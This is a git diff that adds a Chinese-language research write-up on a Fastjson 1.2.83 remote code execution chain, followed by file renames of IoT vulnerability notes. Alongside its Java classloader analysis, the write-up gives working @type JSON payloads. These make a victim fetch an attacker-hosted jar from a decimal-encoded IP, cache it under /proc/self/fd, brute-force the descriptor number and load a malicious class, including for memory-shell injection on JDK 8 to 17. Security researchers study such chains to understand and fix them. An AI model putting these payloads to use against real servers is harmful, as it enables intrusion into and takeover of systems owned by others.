+![image-20260723002439936.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e177cd3d2b6b333c474d057acfe405e557f382e9.png) + +这也不难理解, 因为 AppClassLoader 中的 classpath 本身就是本地资源. 那既然 URLClassLoader 能远程获取资源, 那么我们看一下下方这个案例: + +```java +package com.vuln.fastjson; + +import org.springframework.boot.loader.LaunchedURLClassLoader; + +import java.io.InputStream; +import java.net.URL; +import java.net.URLClassLoader; + +public class Test { + public static void main(String[] args) throws Exception { + ClassLoader classLoader = Test.class.getClassLoader(); + classLoader = new LaunchedURLClassLoader(new URL[]{},classLoader); + InputStream resourceAsStream = classLoader.getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123"); + System.out.println(resourceAsStream); + } +} +``` + +该案例并不会发送任何 HTTP 请求, 那怎么样才能发送 HTTP 请求呢?存在如下 DEMO: + +```java +package com.vuln.fastjson; + +import java.io.InputStream; +import java.net.URL; +import java.net.URLClassLoader; + +public class Test { + public static void main(String[] args) throws Exception { + ClassLoader classLoader = Test.class.getClassLoader(); + classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader); + InputStream resourceAsStream = classLoader.getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123"); + System.out.println(resourceAsStream); + } +} +``` + +只需要将 URLClassLoader 中初始化一个`http`协议的任意服务器, 那么在`getResourceAsStream`时就能发送远程资源, 为什么会这样?原因在 URLClassLoader 的拼接: + +![image-20260723010559894.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2458e5dd42543b1f44813bc70e703292332148c9.png) + +除了`getResourceAsStream`方法能够发送 HTTP 请求, 更重要的是 loadClass 同样会发送请求: + +```java +package com.vuln.fastjson; + +import java.net.URL; +import java.net.URLClassLoader; + +public class Test { + public static void main(String[] args) throws Exception { + ClassLoader classLoader = Test.class.getClassLoader(); + classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader); + classLoader.loadClass("http:..2130706433:2333.a"); + + } +} +``` + +而通常 loadClass 方法的功能则就是加载字节码返回 class 原型, 更何况当前处于 URLClassLoader 是从远程服务器获取资源的, 这里能够向任意服务器发送远程 HTTP 请求已经很不安全... + +但 Class.forName 不允许(这里聊到后续的 TomcatEmbeddedWebappClassLoader 会说明原因): + +```java +package com.vuln.fastjson; + +import java.net.URL; +import java.net.URLClassLoader; + +public class Test { + public static void main(String[] args) throws Exception { + ClassLoader classLoader = Test.class.getClassLoader(); + classLoader = new URLClassLoader(new URL[]{new URL("http://www.baidu.com/")},classLoader); + Class.forName("http:..2130706433:2333.a", false, classLoader); + + } +} +``` + +##### getResourceAsStream 发送远程请求原因 + +对于 getResourceAsStream 方法为什么能够发送除 URLClassLoader 已包含资源之外的 http 远程资源, 最根本的原因是 URL 的构造器存在解析问题: + +```java +package com.vuln.fastjson; + +import sun.net.www.ParseUtil; + +import java.net.URL; + +public class Test { + public static void main(String[] args) throws Exception { + URL url1 = new URL(new URL("http://www.baidu.com/"), ParseUtil.encodePath("jar:http://127.0.0.1:2333/a.jar!/123", false)); + URL url2 = new URL(new URL("http://www.baidu.com"), ("jar:http://127.0.0.1:2333/a.jar!/123")); + System.out.println(url1); + System.out.println(url2); + + } +} +``` + +当我们使用`getResourceAsStream("jar:http://127.0.0.1:2333/a.jar!/123")`方法时, 底层的代码走向则是上述 URL 案例. 也就是下方这个逻辑: + +![image-20260724135138258.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-4ec13c64ef81417f89cbffa02c1f1d263ead200b.png) + +##### loadClass 发送远程请求原因 + +当调用`URLClassLoader::loadClass`方法时, 当从父类找不到对应的类自然而然会调用 findClass: + +![image-20260724133344274.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-49a87193b383420612424e4752cdd6139851617c.png) + +但 `URLClassLoader::findClass` 完全重写了类加载逻辑: + +![image-20260724133027071.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cddd81d028732e2082826ba0c9f7359456138c15.png) + +这里将类名中的`. 转换为 /`实际上也不难理解, 因为 URLClassLoader 若想要向远程 HTTP 服务器拉取字节码资源, 必然需要将`com.heihu577.test`转换为`com/heihu577/test.class`格式进行拉取, 但是这里问题就出在后续的`URLClassPath::getResource`在特定情况下是允许向任意服务器发送 HTTP 请求的. + +URLClassLoader 通过重写了`findClass`完全自定义类加载逻辑, 通过`URLClassPath::getResource`发送远程 HTTP 请求: + +![image-20260724134144570.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cb29c184a8baa5493253c3dac34ebc6edbc41710.png) + +得到类资源之后再进行 defineClass 即远程加载字节码. 这里`URLClassPath::getResource`方法为什么能够远程获取资源, 实际上是 URLClassLoader 中的 Loader 问题. 这一部分知识点我们马上就要了解到. + +#### Loader & JarLoader & 选择 Loader 问题 + +普通的 URLClassLoader 使用的加载器是原生的 Loader, 但 AppClassLoader 中使用的是 JarLoader: + +![image-20260723012452085.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-708c24dcec72e7ef7c466a1ae369de57ebc62c1e.png) + +只有`Loader`才允许发送 HTTP 请求: + +```java +private static class Loader implements Closeable { + private final URL base; + private JarFile jarfile; + + URL findResource(String var1, boolean var2) { + URL var3; + try { + var3 = new URL(this.base, ParseUtil.encodePath(var1, false)); + } catch (MalformedURLException var7) { + throw new IllegalArgumentException("name"); + } + URLConnection var4 = var3.openConnection(); + ... + } +} +``` + +而`JarLoader`仅仅是打开`Jar`文件去寻找文件: + +```java +static class JarLoader extends Loader { + URL findResource(String var1, boolean var2) { + Resource var3 = this.getResource(var1, var2); + return var3 != null ? var3.getURL() : null; + } + + Resource getResource(String var1, boolean var2) { + if (this.metaIndex != null && !this.metaIndex.mayContain(var1)) { + return null; + } else { + try { + this.ensureOpen(); + } catch (IOException var5) { + throw new InternalError(var5); + } + + JarEntry var3 = this.jar.getJarEntry(var1); + if (var3 != null) { + return this.checkResource(var1, var2, var3); + } else if (this.index == null) { + return null; + } else { + HashSet var4 = new HashSet(); + return this.getResource(var1, var2, var4); + } + } + } + ... +} +``` + +因此 JarLoader 没有机会发送 HTTP 请求. 而哪些协议对应哪些 Loader, 实际上在`sun.misc.URLClassPath::getLoader`方法中存在判断: + +![image-20260723013843712.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5e3bb8589076f3a370d90d6aa85b97b45846ceb4.png) + +因此只要初始化的 URLClassLoader 中`非目录格式(避免 FileLoader)`以及非单纯一个文件指向了`jar 包(避免 JarLoader)`, 那么就能够利用`Loader`加载器加载远程资源! 而 SpringBoot 的 URLClassLoader 加载器刚好使用了`jar:file:`这种协议用于链接 FatJar 中的`META-INF/lib`目录, 因此`LaunchedURLClassLoader`能够正常选择到`Loader`而不是`JarLoader & FileLoader`, 因此 SpringBoot 的`LaunchedURLClassLoader`在`getResourceAsStream`或`loadClass`时能够远程发送请求. + +## 无法 RCE 场景 + +### SpringBoot + TomcatEmbeddedWebappClassLoader 无法 RCE + +#### Class.forName 问题 + +为什么这里又提到了`无法 RCE`呢?刚刚能够 RCE 的原因是刚刚的案例手动设置了`ContextClassLoader`, 如: + +![image-20260723020611879.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b3f260864636677ab29dd1d47d38c5e241153e62.png) + +但 FastJson 在运行时会锁定到 TomcatEmbeddedWebappClassLoader: + +![image-20260724011434032.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-4d8d1d51bcfa678c521facc5d2f245d7d5f18ab0.png) + +对于为什么 ContextClassLoader 是 TomcatEmbeddedWebappClassLoader, 原因是在 SpringBoot 内嵌的 Tomcat 启动初始化时, 会设置 ContextClassLoader 为 TomcatEmbeddedWebappClassLoader(SpringBoot 之殇中恰好利用的 TomcatEmbeddedWebappClassLoader 才实现 RCE). + +但是在我们当前这个场景中这里不能进行直接 RCE, 原因是这里的 Class.forName 不允许连续的`..`出现在`Class.forName`中, 后续的流程: + +![image-20260724125149720.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-2b328928665dc976ffe905a93b5718779b4af897.png) + +直接抛出类无法找到异常, 但整个逻辑是先可以进行 SSRF 发起外链. + +#### Class.forName 底层细节 + +对于 Class.forName 不允许出现`..`, 这里可以参考 kezibei 文章中的细节: [https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c](https://github.com/openjdk/jdk/blob/jdk8-b120/jdk/src/share/native/java/lang/Class.c) & [https://github.com/openjdk/jdk/blob/30471d74345d406ce78e2ecbe5cda0d8bfdba3bf/src/java.base/share/native/libjava/check\_classname.c#L131](https://github.com/openjdk/jdk/blob/30471d74345d406ce78e2ecbe5cda0d8bfdba3bf/src/java.base/share/native/libjava/check_classname.c#L131) + +补充细节先是将 . 转换为 /: + +![image-20260724141106687.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-6732dec7e01b5ad32dfa6683bafdbc7156746073.png) + +由于使用了指针, 因此 char 类型的 name 在接下来会判断是否存在 //, 若存在则直接抛出异常: + +![image-20260724010713323.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ecf397a00a6b95450360af4b542d01ef548a6062.png) + +因此在 TomcatEmbeddedWebappClassLoader 中, 由于不再使用`loadClass`而采用了`Class.forName`的因素导致无法进行 RCE. + +### JDK9+ 无法 RCE + +当版本切换为 JDK11 之后, 就算将 ContextClassLoader 配置为`LaunchedURLClassLoader`发现无法 RCE: + +![image-20260724145415899.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-3f89d9bf7cb88f6d528316fe1d08eed22f74b150.png) + +发现在 defineClass 处抛出异常: + +![image-20260724150354453.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-800337fe16025efbdbab11ac09a6e67bb04098fa.png) + +#### ClassLoader::defineClass 底层细节 + +原因是 JDK 高版本中 defineClass 不允许连续的`.`, 同样在 native 层: [https://github.com/openjdk/jdk11u/blob/master/src/java.base/share/native/libjava/ClassLoader.c](https://github.com/openjdk/jdk11u/blob/master/src/java.base/share/native/libjava/ClassLoader.c) & [https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/native/java/lang/ClassLoader.c](https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/native/java/lang/ClassLoader.c) + +![微信图片_20260725202110_81_233.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-911bf0dc3864fa834fe9dfdb4d46db5c7d9bf86b.png) + +最主要的是不允许出现连续的 //: + +![image-20260724154022332.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-4dfc4dc34cd38b4b73f82f08fccb2ac0d020cc8b.png) + +## 利用 jar:file & jar:http 进行突破 + +### jar 文件上传回顾 + +此时将环境转为 Linux 环境, 这里准备了一个 Kali Linux GUI 进行分析绕过手法. 绕过手法很简单, 在之前 XXE 时我们了解过 jar 文件上传: + +![image-20260724175601211.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d2c827b2c387f7d8b7f90fc14aee0e207e366c4b.png) + +由于 jar 协议会往目标机器上上传临时文件, 只不过临时文件会被立马删除. 但在 Linux 系统中, 真的是这样吗? + +#### fd 小实验 - Linux + +我们可以做一个实验, 在 Linux 系统中演示 jvm: + +```java +package com.vuln.fastjson; + +import java.io.*; +import java.nio.MappedByteBuffer; +import java.nio.file.*; +import java.nio.channels.*; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; + + +public class FdTest { + + public static void main(String[] args) throws Exception { + System.out.println("=== Linux fd demo: file deleted but fd still works ===\n"); + System.out.println("JVM PID: " + ManagementFactory.getRuntimeMXBean().getName().split("@")[0]); + System.out.println(); + + demo1_basicFdSurvival(); + System.out.println(); + + demo2_recoverViaProcFd(); + System.out.println(); + + demo3_mmapKeepsInodeAlive(); + System.out.println(); + + demo4_fastjsonLikeScenario(); + } + + + static void demo1_basicFdSurvival() throws Exception { + System.out.println("--- Scenario 1: basic demo ---"); + + + Path tmp = Files.createTempFile("fd-demo-", ".txt"); + String original = "Hello from FdTest!\nThis data survives file deletion.\n"; + Files.write(tmp, original.getBytes()); + System.out.println("[1] Created file: " + tmp); + System.out.println(" Content: " + original.replace("\n", "\\n")); + + + FileInputStream fis = new FileInputStream(tmp.toFile()); + int fdNum = getFdNumber(fis.getFD()); + System.out.println("[2] Opened file, fd=" + fdNum); + + + showProcFdLink(fdNum); + + + Files.delete(tmp); + System.out.println("[3] Deleted file: " + tmp); + + + System.out.println("[4] File exists? " + Files.exists(tmp)); + + + showProcFdLink(fdNum); + + + byte[] data = readAllBytes(fis); + System.out.println("[5] Read via FileInputStream: " + new String(data).replace("\n", "\\n")); + + + byte[] viaProc = Files.readAllBytes(Paths.get("/proc/self/fd/" + fdNum)); + System.out.println("[6] Read via /proc/self/fd/" + fdNum + ": " + new String(viaProc).replace("\n", "\\n")); + + fis.close(); + System.out.println("[7] Closed fd"); + + + showProcFdLink(fdNum); + } + + + static void demo2_recoverViaProcFd() throws Exception { + System.out.println("--- Scenario 2: recover a deleted file ---"); + + Path tmp = Files.createTempFile("fd-recover-", ".bin"); + byte[] payload = "SECRET-DATA-12345".getBytes(); + Files.write(tmp, payload); + System.out.println("[1] Created file: " + tmp + " (" + payload.length + " bytes)"); + + FileInputStream fis = new FileInputStream(tmp.toFile()); + int fdNum = getFdNumber(fis.getFD()); + System.out.println("[2] Opened, fd=" + fdNum); + + Files.delete(tmp); + System.out.println("[3] Deleted original file"); + System.out.println(" File exists? " + Files.exists(tmp)); + + + Path recovered = Paths.get("/tmp/fdTest-recovered.bin"); + Files.copy(Paths.get("/proc/self/fd/" + fdNum), recovered, StandardCopyOption.REPLACE_EXISTING); + System.out.println("[4] Copied /proc/self/fd/" + fdNum + " -> " + recovered); + + byte[] recoveredData = Files.readAllBytes(recovered); + System.out.println("[5] Recovered content: " + new String(recoveredData)); + System.out.println("[6] Content matches? " + new String(payload).equals(new String(recoveredData))); + + fis.close(); + Files.deleteIfExists(recovered); + } + + + static void demo3_mmapKeepsInodeAlive() throws Exception { + System.out.println("--- Scenario 3: mmap keeps inode alive ---"); + + Path tmp = Files.createTempFile("fd-mmap-", ".dat"); + byte[] data = new byte[4096]; + for (int i = 0; i < data.length; i++) data[i] = (byte) (i % 256); + Files.write(tmp, data); + System.out.println("[1] Created file: " + tmp + " (" + data.length + " bytes)"); + + + try (FileChannel ch = FileChannel.open(tmp, StandardOpenOption.READ)) { + MappedByteBuffer buf = ch.map(FileChannel.MapMode.READ_ONLY, 0, data.length); + System.out.println("[2] mmap done, buffer capacity=" + buf.capacity()); + + int fdNum = getFdNumber(ch); + System.out.println("[3] FileChannel fd=" + fdNum); + showProcFdLink(fdNum); + + + Files.delete(tmp); + System.out.println("[4] Deleted file"); + System.out.println(" File exists? " + Files.exists(tmp)); + showProcFdLink(fdNum); + + + byte firstByte = buf.get(0); + byte lastByte = buf.get(data.length - 1); + System.out.println("[5] mmap read: buf[0]=" + (firstByte & 0xFF) + ", buf[end]=" + (lastByte & 0xFF)); + + + } + System.out.println("[6] FileChannel closed"); + System.out.println(" Note: mmap mapping may still hold the inode until GC"); + } + + + static void demo4_fastjsonLikeScenario() throws Exception { + System.out.println("--- Scenario 4: simulate fastjson fd exploit mechanism ---"); + System.out.println(" (open jar -> delete -> read via /proc/self/fd/N)"); + + + Path jarPath = Paths.get("/tmp/fdTest-probe.jar"); + createSimpleJar(jarPath); + + + RandomAccessFile raf = new RandomAccessFile(jarPath.toFile(), "r"); + int fdNum = getFdNumber(raf.getFD()); + System.out.println("[1] Opened jar: " + jarPath + ", fd=" + fdNum); + showProcFdLink(fdNum); + + + Files.delete(jarPath); + System.out.println("[2] Deleted jar"); + System.out.println(" Jar exists? " + Files.exists(jarPath)); + showProcFdLink(fdNum); + + + long size = raf.length(); + System.out.println("[3] Read jar size via fd: " + size + " bytes"); + + + String simulatedPayload = "jar:file:/proc/self/fd/" + fdNum + "!/META-INF/MANIFEST.MF"; + System.out.println("[4] Simulated fastjson payload: " + simulatedPayload); + + + Path viaFd = Paths.get("/proc/self/fd/" + fdNum); + System.out.println("[5] /proc/self/fd/" + fdNum + " accessible? " + Files.exists(viaFd)); + System.out.println(" Size: " + Files.size(viaFd) + " bytes"); + + raf.close(); + System.out.println("[6] Closed fd, jar inode truly released"); + } + + + + + static int getFdNumber(FileDescriptor fd) throws Exception { + Field f = FileDescriptor.class.getDeclaredField("fd"); + f.setAccessible(true); + return (int) f.get(fd); + } + + + static int getFdNumber(FileChannel ch) throws Exception { + Field f = ch.getClass().getDeclaredField("fd"); + f.setAccessible(true); + Object fdVal = f.get(ch); + return getFdNumber((FileDescriptor) fdVal); + } + + + static void showProcFdLink(int fdNum) throws IOException { + Path link = Paths.get("/proc/self/fd/" + fdNum); + if (Files.exists(link)) { + Path target = Files.readSymbolicLink(link); + System.out.println(" /proc/self/fd/" + fdNum + " -> " + target); + } else { + System.out.println(" /proc/self/fd/" + fdNum + " (does not exist, fd closed)"); + } + } + + + static byte[] readAllBytes(InputStream is) throws IOException { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buf = new byte[4096]; + int n; + while ((n = is.read(buf)) != -1) { + bos.write(buf, 0, n); + } + return bos.toByteArray(); + } + + + static void createSimpleJar(Path jarPath) throws IOException { + try (java.util.jar.JarOutputStream jos = new java.util.jar.JarOutputStream( + new FileOutputStream(jarPath.toFile()))) { + + jos.putNextEntry(new java.util.jar.JarEntry("META-INF/MANIFEST.MF")); + jos.write("Manifest-Version: 1.0\nCreated-By: FdTest\n".getBytes()); + jos.closeEntry(); + + + jos.putNextEntry(new java.util.jar.JarEntry("fd3/Exception.class")); + jos.write("fake class bytes".getBytes()); + jos.closeEntry(); + } + System.out.println(" (created test jar: " + jarPath + ")"); + } +} +``` + +这个案例中, 只要还有任何 fd 的方式指向了该文件, 那么该文件则会驻留到 /proc/self/fd/{ID} 中. 因此 jar:http: 从远程服务器获取到的 jar 文件存在被驻留到 /proc/self/fd 的可能! + +#### fastjson 中复现 + +接下来我们看看当前场景如何将临时文件保留下来, 首先我准备了一个 Hello.zip 文件(但实际运用中需要将.zip 后缀去掉原因是 payload 中不能包含.会被转换为/), 其中包含 Hello.class, 在发送请求之前先对攻击机机的 ip 地址进行十进制转换: + +```php +172.29.112.1 计算为十进制: + 172 × 256³ + 29 × 256² + 112 × 256¹ + 1 × 256⁰ + = 172 × 16777216 + 29 × 65536 + 112 × 256 + 1 + = 2885681152 + 1900544 + 28672 + 1 + = 2887610369 + 结果:2887610369 +``` + +随后在攻击机中使用 python 进行监听一个 http.server, 发送 payload: + +![image-20260724190417670.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-6428fb0f61f852d5e1c5350c368b69fbeea65a58.png) + +可以看到的是成功获取到了 HTTP 请求, 随后在受害机器中查看是否生产出来了 /proc/self/fd/{id}: + +![image-20260724190809733.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-84bbef0d3fc05a5913dc1118bcc6249efad33cdc.png) + +可以看到的是, 这里成功将我们攻击机想要传递的文件成功驻留到`/proc/JVM_PROCESS_ID/fd/随机数`中了. 那么驻留该文件有什么用呢? + +答案是`jar:file:/proc/JVM_PROCESS_ID/fd/随机数!/类名`语法中, 不会出现`连续的/`! 可以解锁: + +- `SpringBoot + TomcatEmbeddedWebappClassLoader 场景下 避免 Class.forName 方法阻拦连续的 /` +- `JDK9+ 下的 ClassLoader::defineClass 场景下 避免 native 层方法阻拦连续的 /` + +### 字节码问题 & 包名问题 + +通过上述流程我们明确了无视 JDK 版本的攻击分为: + +1. 使用: + +```php +{"@type":"jar:http:..2887610369(攻击机 IP 的 10 进制):2333(攻击机端口).Hello!.Hello","val":1} +``` + +将恶意 jar 包驻留到受害机中的 /proc/JVM\_PROCESS\_ID/fd 中 + +2. 使用: + +```php +{"@type":"jar:file:.proc.self.fd.{爆破的数值1-100}!.类名","val":1} +``` + +来尝试暴力破解出 fd 的缓存值, 并且加载攻击者放置的恶意类名达到字节码注入到 JVM 内存的目的. + +* * * + +不过现在存在一个问题, 在之前测试时, defineClass 的值为: + +![image-20260724211154242.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-15f69f5c695c6dbdac1215f993e2279912461333.png) + +因此这里定义类名必须为`jar:file:.proc.self.fd.{爆破的数值1-100}!.类名`, 否则 defineClass 会抛出与类名不匹配的错误. + +比如按照上述案例继续测试: + +![image-20260724214730289.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-853d0c51c08094612236added79d329d87c1d5f9.png) + +根据这个案例, 我们可以发现的是这里类必须存在特定的包名, 以 `Hello` 类为例,其加载路径必须形如 `jar:file:/proc/self/fd/29!/`,其中 `29` 即为爆破目标 —— 在类数据写入受害机前,我们必须预测它将占据 `/proc/self/fd/` 下的哪个编号。口述比较麻烦, 用 AI 画张图: + +![image-20260724222646226.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-0fbba4511c626cb377819e7dfa729ec74fade832.png) + +这张图中, 只有场景 A 能够达到 RCE 的效果, 场景 B 和场景 C 均会失效! + +#### RCE 概率问题 + +如何在这个基础之上, 增加 RCE 的概率?我发现两个 Payload 只能分开发送, 当然分开发送可以参考 [https://mp.weixin.qq.com/s/2NLGg2\_8CqWvAn2qrIoTFw](https://mp.weixin.qq.com/s/2NLGg2_8CqWvAn2qrIoTFw) 中爆破可能会增加 fd 的数量, 因此不如将请求定义为一次发送: + +```php +{"@type":"jar:http:..2887610369:2333.Hello!.Hello","@type":"jar:file:.proc.self.fd.70!.Hello"} +``` + +不过当我定义完一次发送之后, 发现后面的`jar:file:.proc.self.fd.70!.Hello`根本无法访问, 答案是 FastJson 提前抛出异常退出了: + +![dae941b4ac26e076c74e0dc2f849f704.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c1cff0dc271e877ee04a90626cc482d1941b893d.png) + +不过若类名末尾为 Exception, 这里会返回 null 不会抛出异常, 因此有如下 payload 能将其定义为一行: + +{"@type":"jar:http:..2887610369:2333.HelloException!.HelloException","@type":"jar:file:.proc.self.fd.70!.HelloException"} + +其中服务端响应也 OK: + +![image-20260724230325299.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-246e7bb4a3eed9887a86ee3f926a1df251025b95.png) + +但实战发现当 jar 包内容数量过多时, 会造成死锁问题. 故不考虑这种方式(可能存在一些突破?). + +#### RCE 思路 & 最终实现 + +1. 创建一个 jar 包, 其中包含`fd0.Exception, fd1.Exception, fd2.Exception...`, 并且通过 + +```php +{"@type":"jar:http:..2887610369(攻击者IP的10进制):2333(攻击者监听的端口).生成的jar包名称!.1" +``` + +对受害机的 /proc/self/fd 进行缓存. + +2. 由于不知道缓存的 fd 的数值是多少, 因此需要使用: + +```php +{"@type":"jar:file:.proc.self.fd.数值爆破!.fd数值爆破.类名"} +``` + +其中`数值爆破`部分, 可以通过: + +![image-20260725012007178.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-352123cfb786461319dd25fb91d5787e4a197957.png) + +进行爆破,这里的类名需要遵循 @type 的类名规范,使用 ASM 调教 AI 很容易编写出来相应的脚本。 + +最终效果: + +![xw_20260725202901.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-426814a475619117ba5be3f0e64bea782c398357.png) + +##### 注入内存马版本(JDK8, JDK11, JDK17...) + +在 JDK 8 / JDK 17 的内存马注入中,我们知道 JDK17 中通常需要使用 MethodHandlers.lookup().defineClass 进行注入内存马,但当前 fastjson 环境最终是进入`Class.forName || ClassLoader::defineClass`。直接性的代码执行,为了版本的兼容性我们可以直接将注入的类继承自 ClassLoader,在 static 代码块中直接执行即可。 + +ASM 最终生成的 Class 文件: + +![image-20260725022705950.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-73aa9078456575f5f7448560d10c5e150734aa65.png) + +这里可以直接通吃 JDK8 / 17,只不过需要注意的是生成内存马时一定要选择内存马版本: + +![image-20260725192143463.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c91b26c4322cdd5a7987fc3dfa8c8f46b5fcf9fc.png) + +否则可能会遇到内存马注入失败的场景. + +## Reference + +官方原文: [https://fearsoff.org/research/fastjson-1-2-83-rce](https://fearsoff.org/research/fastjson-1-2-83-rce) + +fastjson GitHub 更新提示: [https://fearsoff.org/cn/research/fastjson-1-2-83-rce](https://fearsoff.org/cn/research/fastjson-1-2-83-rce) + +1.2.83 详情: [https://mp.weixin.qq.com/s/\_4Tnren1hIBToZvHlaKq8w](https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w) + +真实环境打 fastjson 1.2.83 rce?答案是有点难: [https://mp.weixin.qq.com/s/2LKuHMAv1HQkIc\_vyr1kxA](https://mp.weixin.qq.com/s/2LKuHMAv1HQkIc_vyr1kxA) + +Fastjson 二次发包实战其实也难以利用: [https://mp.weixin.qq.com/s/2NLGg2\_8CqWvAn2qrIoTFw](https://mp.weixin.qq.com/s/2NLGg2_8CqWvAn2qrIoTFw) + +SpringBoot + undertow | jetty: [https://mp.weixin.qq.com/s/ngrBwRPtFzM4G3A\_P9SCog](https://mp.weixin.qq.com/s/ngrBwRPtFzM4G3A_P9SCog) diff --git "a/Amazon Kindle Fire HD (3rd Generation)\345\206\205\346\240\270\351\251\261\345\212\250\346\213\222\347\273\235\346\234\215\345\212\241\346\274\217\346\264\236.md" "b/iot/Amazon Kindle Fire HD (3rd Generation)\345\206\205\346\240\270\351\251\261\345\212\250\346\213\222\347\273\235\346\234\215\345\212\241\346\274\217\346\264\236.md" similarity index 100% rename from "Amazon Kindle Fire HD (3rd Generation)\345\206\205\346\240\270\351\251\261\345\212\250\346\213\222\347\273\235\346\234\215\345\212\241\346\274\217\346\264\236.md" rename to "iot/Amazon Kindle Fire HD (3rd Generation)\345\206\205\346\240\270\351\251\261\345\212\250\346\213\222\347\273\235\346\234\215\345\212\241\346\274\217\346\264\236.md" diff --git "a/CNVD-2021-14536_\351\224\220\346\215\267RG-UAC\347\273\237\344\270\200\344\270\212\347\275\221\350\241\214\344\270\272\347\256\241\347\220\206\345\256\241\350\256\241\347\263\273\347\273\237\350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236.md" "b/iot/CNVD-2021-14536_\351\224\220\346\215\267RG-UAC\347\273\237\344\270\200\344\270\212\347\275\221\350\241\214\344\270\272\347\256\241\347\220\206\345\256\241\350\256\241\347\263\273\347\273\237\350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236.md" similarity index 100% rename from "CNVD-2021-14536_\351\224\220\346\215\267RG-UAC\347\273\237\344\270\200\344\270\212\347\275\221\350\241\214\344\270\272\347\256\241\347\220\206\345\256\241\350\256\241\347\263\273\347\273\237\350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236.md" rename to "iot/CNVD-2021-14536_\351\224\220\346\215\267RG-UAC\347\273\237\344\270\200\344\270\212\347\275\221\350\241\214\344\270\272\347\256\241\347\220\206\345\256\241\350\256\241\347\263\273\347\273\237\350\264\246\345\217\267\345\257\206\347\240\201\344\277\241\346\201\257\346\263\204\351\234\262\346\274\217\346\264\236.md" diff --git "a/CVE-2019-16313 \350\234\202\347\275\221\344\272\222\350\201\224\344\274\201\344\270\232\347\272\247\350\267\257\347\224\261\345\231\250v4.31\345\257\206\347\240\201\346\263\204\351\234\262\346\274\217\346\264\236.md" "b/iot/CVE-2019-16313 \350\234\202\347\275\221\344\272\222\350\201\224\344\274\201\344\270\232\347\272\247\350\267\257\347\224\261\345\231\250v4.31\345\257\206\347\240\201\346\263\204\351\234\262\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-16313 \350\234\202\347\275\221\344\272\222\350\201\224\344\274\201\344\270\232\347\272\247\350\267\257\347\224\261\345\231\250v4.31\345\257\206\347\240\201\346\263\204\351\234\262\346\274\217\346\264\236.md" rename to "iot/CVE-2019-16313 \350\234\202\347\275\221\344\272\222\350\201\224\344\274\201\344\270\232\347\272\247\350\267\257\347\224\261\345\231\250v4.31\345\257\206\347\240\201\346\263\204\351\234\262\346\274\217\346\264\236.md" diff --git a/CVE-2019-16920-D-Link-rce.md b/iot/CVE-2019-16920-D-Link-rce.md similarity index 100% rename from CVE-2019-16920-D-Link-rce.md rename to iot/CVE-2019-16920-D-Link-rce.md diff --git a/CVE-2020-9374.md b/iot/CVE-2020-9374.md similarity index 100% rename from CVE-2020-9374.md rename to iot/CVE-2020-9374.md diff --git "a/WLAN-AP-WEA453e RCE\344\270\211\346\230\237\350\267\257\347\224\261\345\231\250\350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" "b/iot/WLAN-AP-WEA453e RCE\344\270\211\346\230\237\350\267\257\347\224\261\345\231\250\350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" similarity index 100% rename from "WLAN-AP-WEA453e RCE\344\270\211\346\230\237\350\267\257\347\224\261\345\231\250\350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" rename to "iot/WLAN-AP-WEA453e 